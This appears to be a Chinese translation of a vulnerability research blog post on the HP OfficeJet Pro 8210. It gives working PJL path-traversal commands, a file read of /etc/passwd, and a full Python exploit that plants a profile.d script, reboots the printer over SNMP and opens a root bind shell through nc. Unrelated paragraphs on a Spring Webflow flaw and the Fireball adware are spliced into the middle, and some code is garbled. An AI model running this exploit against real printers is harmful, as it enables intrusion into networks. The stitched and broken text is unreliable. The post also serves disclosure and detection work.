在各类企业、单位甚至是学校,无论你身处在哪里,打印机都会作为必需品存在。也许你体验到的是其便捷的一面,但你是否了解其作为联网设备的危害在哪里呢?仔细回想一下,你上一次更新它的固件是什么时候?你是否了解过打印机所存在的那些漏洞?
出于对打印机安全性的好奇,我们购买了几台打印机(hp officejet pro 8210)。事实上,在买的时候我们一直祈祷其那些易受攻击的固件仍然存在,否则你肯定无法想象你需要多少时间来进行回溯。幸运的是,当我们买的两台打印机到的时候我们发现其安装着那些易受攻击的组件,并且更新也被禁用了。officejet pro 8210的固件无法直接下载。但是,使用打印机web界面上的“自动安装更新”和“ 立即检查”功能,我们可以将打印机更新到最新固件。
于是我们就有了一个打过补丁和一个未打补丁的打印机,接下来就是我们挖掘远程代码执行漏洞的时间了。
我们从nmap扫描开始,这样可以查找到打印机打开的端口:
albinolobster@ubuntu:~$ nmap -a 192.168.1.159 starting nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 pdt nmap scan report for hp0a6bfe.westeros (192.168.1.159) host is up (0.014s latency). not shown: 994 closed ports port state service version 80/tcp open http hp http server; hp officejet pro 8210 - d9l64a; 443/tcp open ssl/https hp http server; hp officejet pro 8210 - d9l64a; 515/tcp open printer 631/tcp open ssl/ipp hp http server; hp officejet pro 8210 - d9l64a; 8080/tcp open http-proxy hp http server; hp officejet pro 8210 - d9l64a; 9100/tcp open jetdirect?
这里看起来没什么问题, http服务器的监听端口80,443以及8080;行式打印机守护进程(lpd)在端口515上;internet打印协议(ipp)在端口631上;nmap将端口9100标记为“jetdirect?”,这通常意味着“原始打印”或端口9100打印。
hp将9100端口打印为“hp专有”,但众所周知的是,这个端口还支持原始打印、pcl、postscript和pjl。以下是一个简单的示例——在端口9100上使用pjl来获取打印机的设备信息:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100 @pjl info id @pjl info id hp officejet pro 8210
spring webflow在model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞。但是复现的环境比较苛刻。除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。
删删写写,真的不知道要怎么描述,附上这个漏洞分析的链接:分析链接
看完文章反正我是觉得作者好牛的,直接从人家官方发布的补丁中分析出漏洞。我等小菜只负责学习审计思路,复现就好。
jensmüller最近写了一篇题为“ 网络打印机:激光打印机和多功能设备中的安全问题调查”的文章,详细介绍了打印机的常见漏洞。作者提出的常见漏洞之一就是通过pjl路径遍历。例如,考虑以下pjl命令列出打印机上的目录:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100 @pjl fsdirlist name=0:/ entry=1 count=1024 @pjl fsdirlist name=0:/ entr tmp/ type=dir csr_misc/ type=dir
可以看到列出的目录名称是 0:/ 并且打印机响应两个子目录: tmp / 和 csr_misc /。如果您尝试使用路径移动几个目录,会发生什么0:/../../?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @pjl fsdirlist name=0:/../../ entry=1 count=1024 @pjl fsdirlist name=0:/../../ entry=1 rw/ type=dir ram/ type=dir rom/ type=dir .sig/ type=dir
接下来可以看到的是,打印机会响应一个新的目录列表。看起来我们可能在这里会有一个攻击传染媒介。而在这之后,在打补丁打印机上执行相同的pjl命令会生成一个fileerror。我们知道,惠普其实已经修复了这两个固件版本之间的问题。但毫无疑问这是个好机会,因为这有可能导致安全公告上所说的远程代码执行。
albinolobster@ubuntu:~$ nc 192.168.1.159 9100 @pjl fsdirlist name=0:/../../ entry=1 count=1024 @pjl fsdirlist name=0:/../../ fileerror=0
然而事实上,这种遍历似乎不是很有用。文件结构看起来也不像我熟悉的任何root文件系统。也许还有另一个目录遍历向量?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @pjl fsdirlist name=../../ entry=1 count=4 @pjl fsdirlist name=../../ fileerror=0 @pjl fsdirlist name=../../bin/ entry=1 count=4 @pjl fsdirlist name=../../bin/ entry=1 getopt type=file size=880020 setarch type=file size=880020 dd type=file size=880020 cp type=file size=880020
这里,我尝试了 ../../ 但是却生成了一个 fileerror。然而,../../bin 列出了传统linux中找到的文件 /bin目录。看来这下子我们可以遍历linux文件系统了。
电脑后会将chrome浏览器的首页、tab页改为随机生成的搜索页,而用户无法更改。虽然页面各不相同,但搜索页均抓取雅虎和谷歌数据,火绒安全团队推测,流氓软件制造者以控制用户点击雅虎和谷歌的广告牟利。
流氓软件在安装时会检测电脑是否有chrome浏览器,若没有则相安无事,若有则会提示用户安装一个chrome插件,不安装插件就不能安装软件。
虽然这些软件来自国内卿烨科技、百盛达科技等多家公司,但是火绒安全团队通过追踪发现,其均由同一作者“baoyu430@gmail”制作。作者注册不同网站,制作了一批流氓软件。
这些软件只攻击chrome浏览器,但考虑到chrome浏览器在国外的市场占有率,“火球(fireball)”事件可谓影响巨大,国内chrome用户也可能收到挟持。
用户可以通过卸载这些流氓软件恢复chrome浏览器的设置。当然,另一种更省力的方法是开启火绒安全软件,火绒安全软件已可全面查杀“火球(fireball)”事件涉及的流氓软件,建议用户下载安装最新版火绒安全软件。
这次“火球(fireball)”事件虽然在外国爆发,但其“作案手法”在国内早已屡见不鲜,可以看出国内的网络犯罪手法正在向国际蔓延。
但是如何将这些目录遍历转换为远程代码执行呢?首先,我们需要了解其他一些pjl命令:fsquery, fsupload,和 fsdownload。这三个命令将让我们通过r / w即可访问打印机的文件系统。例如,我可以利用fsquery 和 fsupload 用目录遍历来检索内容 / etc / passwd文件:
@pjl fsupload name=../../etc/passwd offset=0 size=648 @pjl fsupload format:binary name=../../etc/passwd offset=0 size=648 root:x:0:0:root:/var/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:operator:/var:/bin/sh haldaemon:x:68:68:hald:/:/bin/sh dbus:x:81:81:dbus:/var/run/dbus:/bin/sh ftp:x:83:83:ftp:/home/ftp:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh sshd:x:103:99:operator:/var:/bin/sh default:x:1000:1000:default non-root user:/home/default:/bin/sh _ntp:x:100:99:linux user,,,:/run/ntp:/bin/false
谁会真的去阅读这些文件呢?所以我想去写入他们。fsdownload 需要发送 esc 字符,这里不能使用netcat,于是我写了一个python脚本,试图写入 ../../tmp/writing_test:
import socket import sys test = ('test') if len(sys.argv) != 3: print 'nusage:upload.py [ip] [port]n' sys.exit() sock = socket.socket(socket.af_inet, socket.sock_stream) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) dir_query = '@pjl fsdownload format:binary size=' + str(len(test)) + ' name=../../tmp/writing_testrn' dir_query += test dir_query += 'x1b%-12345x' sock.sendall(dir_query) sock.close()
不幸的是,这个脚本无法写入该文件。看来,pjl的过程解释在linux文件系统上没有写入权限:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @pjl fsquery name=../../tmp/writing_test @pjl fsquery name=../../tmp/writing_test fileerror=0
这是我们试图获得远程执行代码的一大打击。无法访问linux文件系统,那么替换二进制文件或获取执行的bash脚本的可能性大大降低。在这一点上,我们唯一的希望就是那个0:/ 文件系统是可写的,写入的文件可以以某种方式执行。
接下来我们必须来进行一次无聊的细节梳理在 0:/文件系统中,我最终注意到其与linux文件系统有一些重叠。尤其是,0:/../../rw/var/etc/profile.d/一下子就抓住了我的眼球,因为,传统的profile.d目录包含在启动时执行的脚本。此外,目录似乎包含相同的数据:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @pjl fsdirlist name=0:/../../rw/var/etc/profile.d/ entry=1 count=1024 @pjl fsdirlist name=0:/../../rw/var/etc/profile.d/ entry=1 .sig/ type=dir @pjl fsdirlist name=../../var/etc/profile.d/ entry=1 count=1024 @pjl fsdirlist name=../../var/etc/profile.d/ entry=1&1 | /usr/bin/nc -l 1270 > /tmp/pwned & fi
随之我们要做的就是将重点转移到远程重新启动打印机。一种方法是在web界面中使用power cycle功能(在“ 工具”菜单下)。另一种方法是使用snmp 打印机 mib来重新启动设备。
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4 iso.3.6.1.2.1.43.5.1.1.3.1 = integer: 4
在下面的脚本中,我已经将启动脚本写入了 的profile.d 目录和snmp重新启动:
## # create a bind shell on an unpatched officejet 8210 # write a script to profile.d and reboot the device. when it comes # back online then nc to port 1270. # # easysnmp instructions: # sudo apt-get install libsnmp-dev # pip install easysnmp ## import socket import sys from easysnmp import snmp_set profile_d_script = ('if [ ! -p /tmp/pwned ]; thenn' 'tmkfifo /tmp/pwnedn' 'tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n 'fin') if len(sys.argv) != 3: print 'nusage:upload.py [ip] [port]n' sys.exit() sock = socket.socket(socket.af_inet, socket.sock_stream) sock.settimeout(2) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) dir_query = '@pjl fsdownload format:binary size=' + str(len(profile_d_script)) + ' name=0:/../../rw/var/etc/profile.d/lol.shrn' dir_query += profile_d_script dir_query += 'x1b%-12345x' sock.sendall(dir_query) sock.close() sock1 = socket.socket(socket.af_inet, socket.sock_stream) sock1.connect(server_address) dir_query = '@pjl fsquery name=0:/../../rw/var/etc/profile.d/lol.shrn' sock1.sendall(dir_query) response = '' while true: data = sock1.recv(1) if 'n' == data: break response += data print response snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1) print 'done! try port 1270 in ~30 seconds'
运行该脚本,大约三十秒后,通过端口1270就会有root shell了。
albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 @pjl fsquery name=0:/../../rw/var/etc/profile.d/lol.sh type=file size=119 done! try port 1270 in ~30 seconds albinolobster@ubuntu:~$ nc 192.168.1.158 1270 whoami root kaixinppz
如何解决这一问题?
幸运的是,对于每个人来说,一旦你了解了这次的攻击,那么这个小漏洞就很容易就会被发现。我们在五月下旬就发布了nessus插件100461来检测此漏洞。此外,还进行了更改,以便nessus在服务发现期间不再导致9100端口打印。希望这将鼓励更多客户启用打印机扫描。
总而言之,不要忽视威胁模型中的那些打印机。现在的打印机俨然已经是一台电脑了,所以我们要做的就是像一台电脑一样对待它。扫描它、更新它、监视它,毕竟谁也不知道其�...